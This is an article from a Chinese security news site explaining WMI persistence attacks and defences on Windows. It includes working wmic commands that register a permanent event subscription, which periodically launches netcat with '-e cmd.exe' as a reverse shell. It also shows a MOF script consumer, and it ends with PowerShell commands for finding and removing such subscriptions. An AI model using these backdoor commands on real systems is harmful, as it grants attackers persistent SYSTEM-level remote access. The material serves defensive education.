WMI攻击与安全防御 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

WMI攻击与安全防御

锦行科技 资讯 2021-02-26 14:23:46
266632
收藏

导语:WMI是一项Windows管理技术,其全称是Windows Management Instrumentation,即Windows管理规范。大多数基于Windows的软件依赖于此服务。因此有些黑客会针对WMI进行攻击。本文介绍了 WMI 的攻击和安全防御方法,以供大家交流讨论。

WMI是一项Windows管理技术,其全称是Windows Management Instrumentation,即Windows管理规范。大多数基于Windows的软件依赖于此服务。因此有些黑客会针对WMI进行攻击。本文介绍了 WMI 的攻击和安全防御方法,以供大家交流讨论。

每个WMI对象都是代表着获取各种操作系统信息与进行相关操作的类实例,以ROOT\CIMV2作为默认的命名空间,CIM为数据库,并以WQL 查询语句用于查询 WMI 对象实例、类和命名空间。

WMI的主要交互方式

Powershell (Get-WmiObject、Set-WmiInstance、Invoke-WmiMethod 等)

例如:Get-WmiObject -Namespace “ROOT” -Class __NAMESPACE

Wmic

例如:wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_OperatingSystem

WMI事件

WMI事件会创建一个查询请求,请求中定义了我们需要执行的操作,一旦事件发生就会执行我们定义的操作,支持两种事件。

01临时事件:要创建事件的进程处于活动状态,临时事件就会被激活(以当前权限运行)。

例如:

图片1.png

每打开一个新进程就会输出进程名称:

WMI攻击与安全防御882.png

02持久事件:事件存储在CIM数据库中,并且会一直处于活动状态,直到从数据库中删除(以system权限运行,且重启保持不变)。

持久事件与后门

利用持久事件来做后门(创建需要管理员权限)需要三个部分。

1、事件过滤器(Filter):用来定义触发的条件,包括系统启动、特定程序执行、特定时间间隔等,存储在ROOT\subscription的实例__ EventFilter对象中,多数事件使用WQL WITHIN子句指定轮询间隔。

2、事件消费者(Consumer):用来指定要执行的具体操作,包括执行命令(CommandLineEventConsumer)、运行脚本(ActiveScriptEventConsumer)、添加日志条目(NTEventLogEventConsumer)或者发送邮件(SMTPEventConsumer)。

3、绑定机制:将过滤器绑定到消费者(FilterToConsumerBinding类)

后门实例

不管是 powershell , wmic 还是 mof 文件,都由三个部分组成。

01Powershell 实现

图片2.png

效果:每60秒运行一次powershell 命令。

02 Wmic实现

WHERE Targetlnstance ISA ‘Win32_PerFormattedData_PerfOS_System
 
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="Consumertest", ExecutablePath="C:\Users\admin\Desktop\nc.exe",CommandLineTemplate="C:\Users\admin\Desktop\nc.exe 127.0.0.1 443 -e c:\windows\system32\cmd.exe"
 
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"Filtertest\"", Consumer="CommandLineEventConsumer.Name=\"Consumertest\""

WMI攻击与安全防御2926.png

效果:定时触发反弹。

现如今,WMI攻击在很多APT行为中也经常被利用:

WMI攻击与安全防御2967.png

03 Mof 实现

图片4.png

执行命令:

Mofcomp xx.mof

效果:每30分钟触发反弹。

也可以直接执行vbs脚本文件:

instance of ActiveScriptEventConsumer as $Cons
{
    Name = "ASEC";
    ScriptingEngine = "VBScript";
    ScriptFileName = "c:\\asec.vbs";
};

安全防御

查看:

#List Event Filters
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
 
#List Event Consumers
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
 
#List Event Bindings
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

删除:

#Filter
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='BotFilter82'" | Remove-WmiObject -Verbose
 
#Consumer
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='BotConsumer23'" | Remove-WmiObject -Verbose
 
#Binding
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose


如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2024 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务